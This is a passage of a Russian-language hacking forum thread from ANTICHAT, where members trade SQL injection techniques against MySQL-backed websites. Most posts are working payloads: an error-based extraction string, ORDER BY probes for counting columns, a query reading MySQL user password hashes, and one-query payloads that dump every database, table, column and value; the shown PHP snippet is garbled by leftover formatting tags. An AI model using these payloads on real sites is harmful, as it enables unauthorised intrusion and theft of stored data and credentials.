HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #241  
Старый 12.10.2013, 19:31
maverick
Guest
Сообщений: n/a
Провел на форуме:
190

Репутация: 0
По умолчанию

Друзья, помогите!

Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]
$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR
но к сожалению никак не нагуглю обход mysql_real_escape_string

Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
 

  #242  
Старый 12.10.2013, 22:31
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Цитата:
Сообщение от maverick  
maverick said:
Друзья, помогите!
Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]
$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR
но к сожалению никак не нагуглю обход mysql_real_escape_string
Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
Вполне безопасная конструкция.
 

  #243  
Старый 04.11.2013, 14:51
zeleny_more
Guest
Сообщений: n/a
Провел на форуме:
202

Репутация: 0
По умолчанию

Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
 

  #244  
Старый 04.11.2013, 15:52
t3cHn0iD
Новичок
Регистрация: 06.04.2009
Сообщений: 2
Провел на форуме:
150479

Репутация: 2
По умолчанию

Цитата:
Сообщение от zeleny_more  
zeleny_more said:
Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
/showpost.php?p=535989&postcount=4

/showthread.php?t=7118 - заголовок "инъекция после limit"
 

  #245  
Старый 30.01.2014, 02:06
FuckGoogle
Guest
Сообщений: n/a
Провел на форуме:
2337

Репутация: 0
По умолчанию

(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117) ,CHAR(67),CHAR(110),CHAR(98),CHAR(78),CHAR(52),CHA R(89),CHAR(119),CHAR(69)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 

  #246  
Старый 21.06.2014, 23:22
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

Ну просто строчно рекомендую к изучению. Реальный прорыв!

MySQL: Инъекция в LIMIT после ORDER BY
 

  #247  
Старый 01.09.2014, 16:24
psihoz26
Guest
Сообщений: n/a
Провел на форуме:
182660

Репутация: 324
По умолчанию

Хочу добавить про подбор колонок в 1 запрос.

В случае если sqli выводит ошибки и пэйлоад вида

Код:
Code:
*+order+by+100+--+
выдаст нам ошибку

Код:
Code:
Query failed: Unknown column '100' in 'order clause'
То сразу смело вставляем такой пэйлоад

Код:
Code:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+
В ответ получим

Код:
Code:
Query failed: Unknown column '*' in 'order clause'
Где '*'-1='колличество наших колонок'.
 

  #248  
Старый 23.03.2015, 12:26
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

Новый ветор вывода через ошибку в MySQL >= 5.7.5

Вывод производится через функции ST_LatFromGeoHash(), ST_LongFromGeoHash(), ST_PointFromGeoHash().

Подробнее
 

  #249  
Старый 31.03.2015, 17:43
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string.

Код:
Code:
SELECT user, authentication_string FROM mysql.user;
 

  #250  
Старый 02.04.2015, 14:45
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.

Вывод данных в один запрос:

SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)

Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.



Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.columns)WHERE@p:=CONCAT(@p,0x0D0 A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

0x0D0A -> перевод строки, смотреть в "Исходный код страницы"

Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.

Ну далее частные случаи:



Список бд(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.schemata)WHERE@p:=CONCAT(@p,0x2C ,schema_name)),@p),5))

Список всех бд, таблиц(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name)),@p),5))

Список всех таблиц, колонок текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

Список таблиц текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.tables)where(table_ schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table _name)),@p),5))

Список колонок таблицы users(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,colu mn_name)),@p),5))

ps помните, таблица users и в другой бд может быть, тогда добавить условие в where

И напоследок значения с колонок(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ